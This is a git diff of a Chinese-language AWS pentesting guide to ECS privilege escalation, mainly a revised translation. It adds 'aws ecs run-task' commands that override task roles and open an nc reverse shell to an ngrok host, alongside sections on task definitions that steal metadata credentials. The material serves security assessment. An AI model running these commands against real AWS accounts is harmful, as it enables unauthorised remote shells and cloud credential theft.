diff --git a/src/images/image (135).png b/src/images/image (135).png deleted file mode 100644 index 0ec903dbf..000000000 Binary files a/src/images/image (135).png and /dev/null differ diff --git a/src/images/image (140).png b/src/images/image (140).png deleted file mode 100644 index 10337014b..000000000 Binary files a/src/images/image (140).png and /dev/null differ diff --git a/src/images/image (150).png b/src/images/image (150).png deleted file mode 100644 index 78b8cafaf..000000000 Binary files a/src/images/image (150).png and /dev/null differ diff --git a/src/images/image (178).png b/src/images/image (178).png deleted file mode 100644 index 8e9a8c2fb..000000000 Binary files a/src/images/image (178).png and /dev/null differ diff --git a/src/images/image (182).png b/src/images/image (182).png deleted file mode 100644 index ecc37ab54..000000000 Binary files a/src/images/image (182).png and /dev/null differ diff --git a/src/images/image (183).png b/src/images/image (183).png deleted file mode 100644 index d15ef1f36..000000000 Binary files a/src/images/image (183).png and /dev/null differ diff --git a/src/images/image (210).png b/src/images/image (210).png deleted file mode 100644 index 96c77e4fb..000000000 Binary files a/src/images/image (210).png and /dev/null differ diff --git a/src/images/image (222).png b/src/images/image (222).png deleted file mode 100644 index 4b08116d8..000000000 Binary files a/src/images/image (222).png and /dev/null differ diff --git a/src/images/image (251).png b/src/images/image (251).png deleted file mode 100644 index 536d3c291..000000000 Binary files a/src/images/image (251).png and /dev/null differ diff --git a/src/images/image (252).png b/src/images/image (252).png deleted file mode 100644 index f2f075bb9..000000000 Binary files a/src/images/image (252).png and /dev/null differ diff --git a/src/images/image (259).png b/src/images/image (259).png deleted file mode 100644 index 95cd08b61..000000000 Binary files a/src/images/image (259).png and /dev/null differ diff --git a/src/images/image (282).png b/src/images/image (282).png deleted file mode 100644 index d383c83f4..000000000 Binary files a/src/images/image (282).png and /dev/null differ diff --git a/src/images/image (31).png b/src/images/image (31).png deleted file mode 100644 index 0f975e105..000000000 Binary files a/src/images/image (31).png and /dev/null differ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index dd133633c..2eb35a6bb 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -4,7 +4,7 @@ ## ECS -更多关于 **ECS** 的信息在: +关于 **ECS** 的更多信息在: {{#ref}} ../aws-services/aws-ecs-enum.md @@ -12,7 +12,7 @@ ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` -攻击者利用 `iam:PassRole`、`ecs:RegisterTaskDefinition` 和 `ecs:RunTask` 权限在 ECS 中可以 **生成一个新的任务定义**,其中包含一个 **恶意容器**,该容器窃取元数据凭证并 **运行它**。 +攻击者滥用 ECS 中的 `iam:PassRole`、`ecs:RegisterTaskDefinition` 和 `ecs:RunTask` 权限,可以**生成一个新的 task definition**,在其中放入一个**恶意容器**来窃取元数据凭证并**运行它**。 {{#tabs }} {{#tab name="Reverse Shell" }} @@ -75,12 +75,58 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 {{#endtabs }} -**潜在影响:** 直接提升权限到不同的 ECS 角色。 +**Potential Impact:** 直接提权到不同的 ECS 角色。 + +### `iam:PassRole`,`ecs:RunTask` +具有 `iam:PassRole` 和 `ecs:RunTask` 权限的 attacker 可以启动一个新的 ECS task,并修改 **execution role**、**task role** 和容器的 **command** 值。`ecs run-task` CLI 命令包含 `--overrides` 标志,允许在运行时更改 `executionRoleArn`、`taskRoleArn` 和容器的 `command`,而无需修改 task definition。 + +为 `taskRoleArn` 和 `executionRoleArn` 指定的 IAM 角色必须在其信任策略中信任/允许被 `ecs-tasks.amazonaws.com` 扮演。 + +Also, the attacker needs to know: +- ECS cluster name +- VPC Subnet +- Security group (If no security group is specified the default one will be used) +- Task Definition Name and revision +- Name of the Container +```bash +aws ecs run-task \ +--cluster \ +--launch-type FARGATE \ +--network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" \ +--task-definition \ +--overrides ' +{ +"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"containerOverrides": [ +{ +"name": , +"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] +} +] +}' +``` +在上面的代码片段中,攻击者只覆盖了 `taskRoleArn` 的值。然而,攻击者必须对命令中指定的 `taskRoleArn` 和任务定义中指定的 `executionRoleArn` 拥有 `iam:PassRole` 权限,攻击才能发生。 + +如果攻击者可以传递的 IAM 角色具有足够的权限来拉取 ECR 镜像并启动 ECS 任务(`ecr:BatchCheckLayerAvailability`、`ecr:GetDownloadUrlForLayer`、`ecr:BatchGetImage`、`ecr:GetAuthorizationToken`),那么攻击者可以在 `ecs run-task` 命令中将相同的 IAM 角色同时指定为 `executionRoleArn` 和 `taskRoleArn`。 +```sh +aws ecs run-task --cluster --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" --task-definition --overrides ' +{ +"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"executionRoleArn":"arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"containerOverrides": [ +{ +"name": "", +"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] +} +] +}' +``` +**Potential Impact:** 直接导致任何 ECS task role 的 privesc。 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` -就像在之前的例子中,攻击者滥用 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** 权限在 ECS 中可以 **生成一个新的任务定义**,其中包含一个 **恶意容器**,该容器窃取元数据凭证并 **运行它**。\ -然而,在这种情况下,需要有一个容器实例来运行恶意任务定义。 +就像前面的示例一样,滥用 ECS 中的 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** 权限的攻击者可以 **生成一个新的任务定义**,并在其中放入一个**恶意容器**来窃取元数据凭证并**运行它**。\ +但是,在这种情况下,需要有可用的容器实例来运行该恶意任务定义。 ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -96,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \ ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` -**潜在影响:** 直接提升到任何 ECS 角色。 +**Potential Impact:** 直接对任何 ECS role 进行 privesc。 -### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` +### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` -就像在前面的例子中,攻击者滥用 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** 或 **`ecs:CreateService`** 权限可以 **生成一个新的任务定义**,其中包含一个 **恶意容器**,该容器窃取元数据凭证并 **通过创建一个至少运行 1 个任务的新服务来运行它。** +就像在前面的示例一样,攻击者滥用 ECS 中的 **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** 或 **`ecs:CreateService`** 权限,能够**生成新的任务定义**,包含**恶意容器**以窃取元数据凭证,并通过创建至少包含 1 个正在运行任务的新服务来**运行它**。 ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -123,11 +169,11 @@ aws ecs update-service --cluster \ --service \ --task-definition ``` -**潜在影响:** 直接提升到任何 ECS 角色。 +**Potential Impact:** 直接 privesc 到 任何 ECS role。 ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` -实际上,仅凭这些权限就可以使用覆盖来在具有任意角色的容器中执行任意命令,例如: +实际上,仅凭这些权限就可以使用 overrides 在容器中以任意 role 执行任意命令,例如: ```bash aws ecs run-task \ --task-definition "" \ @@ -135,16 +181,16 @@ aws ecs run-task \ --cluster \ --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" ``` -**潜在影响:** 直接提升到任何 ECS 角色。 +**潜在影响:** 直接对任何 ECS 角色 进行 privesc。 ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -这个场景与之前的类似,但**没有** **`iam:PassRole`** 权限。\ -这仍然很有趣,因为如果你可以运行任意容器,即使没有角色,你也可以**运行特权容器以逃逸**到节点并**窃取 EC2 IAM 角色**和在节点上运行的**其他 ECS 容器角色**。\ -你甚至可以**强制其他任务在你妥协的 EC2 实例内运行**以窃取它们的凭证(如在[**提升到节点部分**](aws-ecs-privesc.md#privesc-to-node)中讨论的)。 +这种情况与之前的类似,但**没有** **`iam:PassRole`** 权限。\ +这仍然很有价值,因为如果你能运行任意容器,即使它没有角色,你也可以**运行特权容器以逃逸到节点**并**窃取 EC2 IAM role**以及运行在该节点上的**其他 ECS 容器的角色**。\ +你甚至可以**强制其他任务在你入侵的 EC2 实例内运行**以窃取它们的凭据(如 [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node) 所述)。 > [!WARNING] -> 只有当**ECS 集群使用 EC2** 实例而不是 Fargate 时,这种攻击才是可能的。 +> 此攻击仅在 **ECS 集群 使用 EC2** 实例而不是 Fargate 时才可能发生。 ```bash printf '[ { @@ -187,12 +233,12 @@ aws ecs run-task --task-definition iam_exfiltration \ ``` ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -拥有 **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** 的攻击者可以 **在运行的容器内执行命令** 并提取附加到它的 IAM 角色(您需要描述权限,因为运行 `aws ecs execute-command` 是必要的)。\ -然而,为了做到这一点,容器实例需要运行 **ExecuteCommand agent**(默认情况下并不是)。 +拥有 **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** 权限的攻击者可以在运行中的容器内**执行命令**并窃取附加于其的 IAM 角色(需要 describe 权限,因为运行 `aws ecs execute-command` 时需要该权限)。\ +不过,为了实现这一点,容器实例需要运行 **ExecuteCommand 代理**(默认情况下不运行)。 因此,攻击者可以尝试: -- **尝试在每个运行的容器中运行命令** +- **尝试运行命令** 在每个运行中的容器中 ```bash # List enableExecuteCommand on each task for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do @@ -210,18 +256,18 @@ aws ecs execute-command --interactive \ --cluster "$CLUSTER_ARN" \ --task "$TASK_ARN" ``` -- 如果他拥有 **`ecs:RunTask`**,可以使用 `aws ecs run-task --enable-execute-command [...]` 运行任务 -- 如果他拥有 **`ecs:StartTask`**,可以使用 `aws ecs start-task --enable-execute-command [...]` 运行任务 -- 如果他拥有 **`ecs:CreateService`**,可以使用 `aws ecs create-service --enable-execute-command [...]` 创建服务 -- 如果他拥有 **`ecs:UpdateService`**,可以使用 `aws ecs update-service --enable-execute-command [...]` 更新服务 +- If he has **`ecs:RunTask`**, run a task with `aws ecs run-task --enable-execute-command [...]` +- If he has **`ecs:StartTask`**, run a task with `aws ecs start-task --enable-execute-command [...]` +- If he has **`ecs:CreateService`**, create a service with `aws ecs create-service --enable-execute-command [...]` +- If he has **`ecs:UpdateService`**, update a service with `aws ecs update-service --enable-execute-command [...]` -您可以在 **之前的 ECS privesc 部分** 找到 **这些选项的示例**。 +你可以在 **previous ECS privesc sections** 中找到 **这些选项的示例**。 -**潜在影响:** 提升权限到附加在容器上的不同角色。 +**Potential Impact:** Privesc 到附加在容器上的不同角色。 ### `ssm:StartSession` -请查看 **ssm privesc 页面**,了解如何利用此权限 **提升权限到 ECS**: +请查看 **ssm privesc page**,了解如何滥用此权限以 **privesc to ECS**: {{#ref}} aws-ssm-privesc.md @@ -229,24 +275,26 @@ aws-ssm-privesc.md ### `iam:PassRole`, `ec2:RunInstances` -请查看 **ec2 privesc 页面**,了解如何利用这些权限 **提升权限到 ECS**: +请查看 **ec2 privesc page**,了解如何滥用这些权限以 **privesc to ECS**: {{#ref}} aws-ec2-privesc.md {{#endref}} -### `?ecs:RegisterContainerInstance` +### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole` -TODO: 是否可以从不同的 AWS 账户注册一个实例,以便任务在攻击者控制的机器上运行? +拥有这些权限的攻击者可能在 ECS 集群中注册一个 EC2 实例并在其上运行任务。这可能允许攻击者在 ECS 任务的上下文中执行任意代码。 + +- TODO: 是否可以从不同的 AWS 账户注册实例,以便任务在攻击者控制的机器上运行?? ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` > [!NOTE] -> TODO: 测试这个 +> TODO: 测试此项 -拥有权限 `ecs:CreateTaskSet`、`ecs:UpdateServicePrimaryTaskSet` 和 `ecs:DescribeTaskSets` 的攻击者可以 **为现有的 ECS 服务创建一个恶意任务集并更新主任务集**。这允许攻击者 **在服务内执行任意代码**。 +拥有权限 `ecs:CreateTaskSet`、`ecs:UpdateServicePrimaryTaskSet` 和 `ecs:DescribeTaskSets` 的攻击者可以 **创建恶意的 task set 用于现有的 ECS service 并更新 primary task set**。这允许攻击者在该 service 中 **执行任意代码**。 ```bash -bashCopy code# Register a task definition with a reverse shell +# Register a task definition with a reverse shell echo '{ "family": "malicious-task", "containerDefinitions": [ @@ -270,9 +318,9 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service -- # Update the primary task set for the service aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id ``` -**潜在影响**:在受影响的服务中执行任意代码,可能影响其功能或泄露敏感数据。 +**潜在影响**:在受影响的服务中执行任意代码,可能影响其功能或 exfiltrating sensitive data。 -## 参考 +## 参考资料 - [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)